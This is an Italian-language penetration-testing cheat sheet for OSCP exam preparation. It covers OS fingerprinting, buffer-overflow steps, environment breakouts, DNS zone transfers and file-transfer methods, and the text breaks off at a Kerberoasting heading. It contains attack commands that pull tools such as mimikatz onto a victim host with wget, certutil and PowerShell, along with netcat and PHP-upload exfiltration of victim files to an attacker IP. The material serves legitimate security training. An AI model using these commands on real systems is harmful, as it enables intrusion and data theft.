
Foglio informativo completo per penetration testing per la preparazione all'esame PWK/OSCP, che copre escalation dei privilegi, cracking delle password, generazione di payload, post-exploitation, scansione delle porte, attacchi web e tecniche di ricognizione.
JustTryHarder è un cheat sheet che ti aiuterà durante il corso PWK e l'esame OSCP.
(Ispirato da PayloadAllTheThings)
Sentiti libero di inviare una Pull Request e lasciare una stella per condividere l'amore se questo ti è stato utile. 💖
Amichevole per Hacktoberfest! Sì, siamo aperti a Pull Request per Hacktoberfest! Assicurati che non sia spam e che contribuisca effettivamente a questo repo. Grazie e buon hacking!
Disclaimer: Nessuno dei seguenti include spoiler per i laboratori PWK / l'esame OSCP.
Ho ottenuto molte di queste informazioni da altri repo Github, blog, siti e altro. Ho cercato di dare il maggior credito possibile al creatore originale. Se non ti ho dato credito, contattami su Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
Il `TTL` può essere usato per determinare il sistema operativo dell'host. I tre diversi tipi di TTL sono mostrati di seguito:
- **TTL=64** = \*nix - Il numero di hop; quindi se ottieni 61, ci sono 3 hop ed è un dispositivo \*nix. Molto probabilmente Linux.
- **TTL=128** = Windows - Di nuovo, se il TTL è 127, l'hop è 1 ed è una macchina Windows.
- **TTL=254** = Solaris/AIX - Se il TTL è 250, il numero di hop è 4 ed è una macchina Solaris.
## BOF (WIP)
(I caratteri tipicamente dannosi includono: `0x00`, `0x0A`, `0x0D`)
- Fuzzing
- Trovare la posizione di EIP
- Trovare i caratteri dannosi
- Localizzare `jmp esp`
- Generare il payload con `msfvenom`
- Ottenere una reverse shell con `netcat`
**Buone risorse per BOF:**
- [NCC Group - Scrivere Exploit per Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Tutorial per la Scrittura di Exploit Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - Buffer Overflow su Windows a 32 bit resi facili](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Breakout / Evasioni Ambientali
- [Pentest Partners - Uscire da Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - SiteKiosk Breakout](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Kiosk/POS Breakout Keys](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Uscire dall'Ambiente Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Uscire dalle Applicazioni](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Problemi Comuni con i Breakout Ambientali (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Citrix Breakout](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Trasferimenti di Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Trasferimenti di file
### Trasferimento SMB
Sulla macchina vittima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Trasferimento Wget
Come recuperare file dal host (all'interno di una reverse shell).
**Setup:** Posiziona il file che vuoi trasferire in `/var/www/html/` ed esegui `service apache2 start`.
Esegui sul server remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Trasferimento TFTP
(Come trasferire da Kali a Windows).
**Usando MSF:**
Avvia MSF prima di questi passaggi:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**In un terminale:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (da Windows a Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Sessione interattiva:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Senza una sessione PowerShell interattiva (Crea `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**Host locale:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Trasferisci `encoded.b64` al server remoto tramite `nc` o altro.
**Server remoto - Linux:**
3\. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Caricamento di file HTTP (Esfiltrazione)
**1. Crea upload.php**
Crea nella webroot della macchina attaccante (`/var/www/html` di default).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Crea directory**
Crea la directory di upload e imposta i permessi appropriati per consentire il caricamento.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Carica file**
Carica file dalla macchina vittima alla macchina attaccante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting